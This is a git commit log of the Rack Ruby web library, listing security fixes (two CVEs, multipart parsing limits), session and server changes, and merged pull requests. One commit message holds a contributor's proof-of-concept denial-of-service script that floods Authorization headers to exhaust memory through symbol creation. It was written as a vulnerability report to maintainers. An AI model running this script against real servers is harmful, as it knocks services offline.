Merge pull request #585 from MSch/patch-1

Fix bug in sendfile.rb

Bump version number

Add release notes for todays releases

Prevent symlink path traversals

 * Closes CVE-2013-0262

Stop overwriting existing pidfiles.

A race condition can arise when two servers are started simultaneously. Both
instances may complete the check for an existing pidfile before either one
writes it.

Now the pidfile is opened with ::File::EXCL, which raises an error if the file
already exists. This error is handled by retrying the check and the write.

Use secure_compare for hmac comparison

 * Closes CVE-2013-0263

Add secure_compare to Rack::Utils

Conflicts:
test/spec_utils.rb

Ensure binary modes are used in tests, for Windows

Fix a bug where host matching occurs out of order

 * Closes #504

Add JSON cookie coder. To be default after 1.6+

add license information to gemspec

this way it can be used with rubygems.org API

Fix reference link

Document Rack::Deflater

Request#trusted_proxy? no longer accepts lines

 * Closes #508
 * Adds some limited coverage. More issues highlighted - incomplete local ips.

Add find and set methods to Session object

Fix ChangeLog generation on 1.9.3+

Bump version and add release notes to README

Merge pull request #500 from aocole/patch-1

Changing incorrect documentation

Remove specific version code from Lint

 * Too easy to miss during updates
 * Required format unchanged
 * Closes #501

Reimplement keys and values on SessionHash

 * Basic additional APIs to simplify requirements for Rails and Devise

Changing incorrect documentation

The original comment on set_session said to return true or false
depending on whether the session was saved or not. In reality, this
method MUST return the session id in order for #commit_session to set
the cookie data properly.

Merge branch 'lint-headerhash' of git://bogomips.org/rack

* 'lint-headerhash' of git://bogomips.org/rack:
  lint: avoid TypeError on non-Hash-like response headers

Merge pull request #499 from barttenbrinke/master

Added specific test when X-Forwarded-For is 'unknown'

Added spec for new Squid behaviour.
Also see http://www.squid-cache.org/Doc/config/forwarded_for/

lint: avoid TypeError on non-Hash-like response headers

According to SPEC (and check_headers), Response headers need only
respond to #each.  Thus, check_hijack_response should rely on
Rack::Utils::HeaderHash if it wishes to access the headers in a
hash-like fashion.

Update gemspec version, Rack 1.5.0

Update README for 1.5.0 release

Switch to RFC 2822 expires

Fix a long standing misnomer for date formats

References #414

Use Dir.tmpdir instead of hardcoded /tmp

Closes #492

Don't modify the middleware hash in Rack::Server

 * Closes #498

Merge pull request #496 from homakov/patch-3

Remove never called string

Remove never called string

Previous check `p.empty?` makes sure that p contains at least 1 symbol.
After `.split('=', 2)` k or v or both will turn into some string which means `k || v` will always return true and `next` will never be called.

Update to 1.5.0.beta.2

Update README security notes

Update README for release. Add security section.

Rack::Auth::AbstractRequest#scheme returns strings

 * This is a breaking API change, but doesn't appear to be used in public

Squash test warnings

Turn warnings back on for basic test runs

Squash warnings in spec_auth

Reimplement auth scheme fix

 * Add Rack::Auth.add_scheme to enable folks to fix anything that breaks
 * Add common auth schemes, MS ones, AWS ones, etc are missing, as unlikely
 * Checked Rails - they don't use our authorization code
 * Checked Warden - uses rails
 * Checked Omniauth - uses rails
 * Checked doorkeeper - users rails
 * Checked rack-authentication - does it's own thing
 * Checked warden-oauth - doesn't do headers
 * Checked devise - uses rails
 * Checked oauth2-rack - header creation only
 * Checked rack-oauth2-server - does it's own thing
 * Probably missed a bunch, but that'll have to do

Revert "Merge pull request #494 from homakov/patch-2"

This reverts commit 9b76e4fb58b5870ff48ba9704432787bc2e76cfb, reversing
changes made to bf32f4bbfc5401dde48341cd5e664e2f7837d151.

Merge pull request #494 from homakov/patch-2

Remove .to_sym in Authorization scheme

Remove .to_sym in Authorization scheme

Hello, `.to_sym` should never be applied on user input. Thus I recommend you to change `scheme` method:
```
  def scheme
    @scheme ||= parts.first.downcase.to_sym
  end
```
While we can't send enourmous emount of `Authorization` headers we can make it as long as it's possible. 
This is PoC. App:
```
cat config.ru 
require 'rack'
run lambda{|e|
    auth =  Rack::Auth::Basic::Request.new(e)
    puts auth.basic? if auth.provided?
    puts Symbol.all_symbols.size
    [200, {'Content-Type'=>'text/html'},['IM FINE']]
}
```
Simple Javascript to DoS it:
```
var base = ["aa", "ab", "ac", "ad", "ae", "af", "ag", "ah", "ai", "aj", "ak", "al", "am", "an", "ao", "ap", "aq", "ar", "as", "at", "au", "av", "aw", "ax", "ay", "az", "ba", "bb", "bc", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bk", "bl", "bm", "bn", "bo", "bp", "bq", "br", "bs", "bt", "bu", "bv", "bw", "bx", "by", "bz", "ca", "cb", "cc", "cd", "ce", "cf", "cg", "ch", "ci", "cj", "ck", "cl", "cm", "cn", "co", "cp", "cq", "cr", "cs", "ct", "cu", "cv", "cw", "cx", "cy", "cz", "da", "db", "dc", "dd", "de", "df", "dg", "dh", "di", "dj", "dk", "dl", "dm", "dn", "do", "dp", "dq", "dr", "ds", "dt", "du", "dv", "dw", "dx", "dy", "dz", "ea", "eb", "ec", "ed", "ee", "ef", "eg", "eh", "ei", "ej", "ek", "el", "em", "en", "eo", "ep", "eq", "er", "es", "et", "eu", "ev", "ew", "ex", "ey", "ez", "fa", "fb", "fc", "fd", "fe", "ff", "fg", "fh", "fi", "fj", "fk", "fl", "fm", "fn", "fo", "fp", "fq", "fr", "fs", "ft", "fu", "fv", "fw", "fx", "fy", "fz", "ga", "gb", "gc", "gd", "ge", "gf", "gg", "gh", "gi", "gj", "gk", "gl", "gm", "gn", "go", "gp", "gq", "gr", "gs", "gt", "gu", "gv", "gw", "gx", "gy", "gz", "ha", "hb", "hc", "hd", "he", "hf", "hg", "hh", "hi", "hj", "hk", "hl", "hm", "hn", "ho", "hp", "hq", "hr", "hs", "ht", "hu", "hv", "hw", "hx", "hy", "hz", "ia", "ib", "ic", "id", "ie", "if", "ig", "ih", "ii", "ij", "ik", "il", "im", "in", "io", "ip", "iq", "ir", "is", "it", "iu", "iv", "iw", "ix", "iy", "iz", "ja", "jb", "jc", "jd", "je", "jf", "jg", "jh", "ji", "jj"];
var total_sent = 0
for(var num in base){
var x = new XMLHttpRequest;
x.open('GET','/'); 
str = '';
for(i=0;i<2000000;i++){
    str+='Ё'+base[num]+i;
}
x.setRequestHeader('Authorization',str+' lol')
x.send();
console.log('Total sent: ',total_sent+=str.length);
}
```
When we run JS every request carries 18888890 letters in a symbol. This 'data' will never be garbarge collectored.
Should it be fixed?

Merge branch 'hijack'

* hijack:
  Hijack SPEC changes after review discussion
  Add straw man for the after-headers hijack
  Straw man for rack.hijack*, connection hijacking!

Hijack SPEC changes after review discussion

Add q-value helpers for Accept headers, etc.

 * Supersedes and closes #443

Introduce Rack::Mime.match?, references #443

Minor code review comments closing #451

 * Adds documentation
 * find is preferred over detect
 * Superseded body objects should be closed

Revert "Set TMPDIR to fix Dir.mktmpdir under jRuby"

This reverts commit 3b24fa958ba43baad66c7e866990e052497c89f8.

Merge branch 'sendfile_path_mapping' of git://github.com/Casecommons/rack into sendfile

* 'sendfile_path_mapping' of git://github.com/Casecommons/rack:
  Set TMPDIR to fix Dir.mktmpdir under jRuby
  Additional Ruby 1.8 compaitiblity
  Make spec_sendfile work with Ruby < 1.9
  Initialize Rack::Sendfile with accel mappings

Enable unix sockets with paths as trusted proxies

 * Supersedes and closes #488

Merge pull request #491 from spastorino/allow_build_different_session_object

Allow subclasses build a different Session Object

Allow subclasses build a different Session Object

Merge pull request #490 from slivu/master

Added Reel Web Server and Espresso Framework to supported software list

Merge pull request #489 from spastorino/abstract_id_tiny_patches

Abstract id tiny patches

Update README.rdoc

Fix current_session_id docs, id it's retrieved from SessionHash now

Implement the ID API correctly

Session is already loaded at this point

Rename by to store to match better the purpose of that object

Merge pull request #487 from carlosantoniodasilva/remove-warnings

Remove warnings: 'not used variable' and 'shadowing outer variable'

Remove warnings: 'not used variable' and 'shadowing outer variable'

Add release announcements to README

multipart/parser: avoid unbounded #gets method

Malicious clients may send excessively long lines
to trigger out-of-memory errors in a Rack web server.

Merge pull request #484 from oscardelben/update_examples

Update Lobster example

Update Lobster example

Merge pull request #483 from oscardelben/update_readme

Remove reference to dead link

Remove reference to dead link

Update release date from rack-1.3 branch

Add missing release section from 1.1 branch

Add todays releases to the README

Merge pull request #482 from oscardelben/fix_webrick_port

Add default port to webrick

Add default port to webrick

Add straw man for the after-headers hijack

Straw man for rack.hijack*, connection hijacking!

Merge pull request #480 from udzura/master

Add a rackup option for a one-liner rack app server

master is now Rack 1.5, SPEC 1.2.

Fix parsing performance for unquoted filenames

Special thanks to Paul Rogers & Eric Wong

Conflicts:
test/spec_multipart.rb

Add a rackup option for one-liner rack app server

Extract Builder.new_from_string from Builder.parse_file

Cleanup Lint Content-Type section after 3623d04

Revert "Merge pull request #259 from bartuer/master"

This reverts commit ec5634c6151412a722df7c3305fd3b6291a66ec5, reversing
changes made to c23edf4f7d43ed9fba3fde1cbcf7ebf286730829.

Merge pull request #259 from bartuer/master

add content type check to deflater

Merge pull request #367 from rack/mime_type

Mime type corrections

Correct some of the mime type issues. References #316 and #366.
HTTP 1.0 and 1.1 do not have MUST for Content-Type requirements, they have "should" (not SHOULD). They also have text describing how clients should handle this header being missing.

Fix parsing multiple ranges

Fix parsing miltiple ranges in HTTP_RANGE header according to w3 rfc2616 (according to last example in sec14.35.1 http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.1 ) (according to BNF rules in http://www.w3.org/Protocols/rfc2616/rfc2616-sec2.html#sec2.1 )

.woff now has an official mime type!

 * Closes #405

Merge pull request #458 from hexfet/master

Allow EOFError exception to be passed through

Do not fail on cookies that are not URI escaped

 * Closes #360

Add a note in KNOWN-ISSUES regarding ECMA escape

Merge pull request #476 from spastorino/fix_2_0_build

Fix Ruby 2.0 build

Fix Ruby 2.0 build

add ruby 2.0 to travis matrix

Merge pull request #475 from spastorino/remove_2_0_warns

Use to_enum instead of Enumerator.new to remove Ruby 2.0 warnings

Use to_enum instead of Enumerator.new to remove Ruby 2.0 warnings

This commit avoid warn message
Enumerator.new without a block is deprecated; use Object#to_enum

Merge pull request #474 from yeban/handlers_puma

Add puma as a potential default alongside thin (replace #455).

Add puma as a potential default alongside thin (close #455).

Signed-off-by: Anurag Priyam <anurag08priyam@gmail.com>

Introduce Rack::Handler.pick ...

... to select first available Rack handler given a list of server names.

This functionality is ripped off Sinatra::Base.detect_rack_handler with very
minor semantic and cosmetic changes.

Signed-off-by: Anurag Priyam <anurag08priyam@gmail.com>

Merge pull request #453 from unbit/master

add uWSGI to the list of servers supporting Rack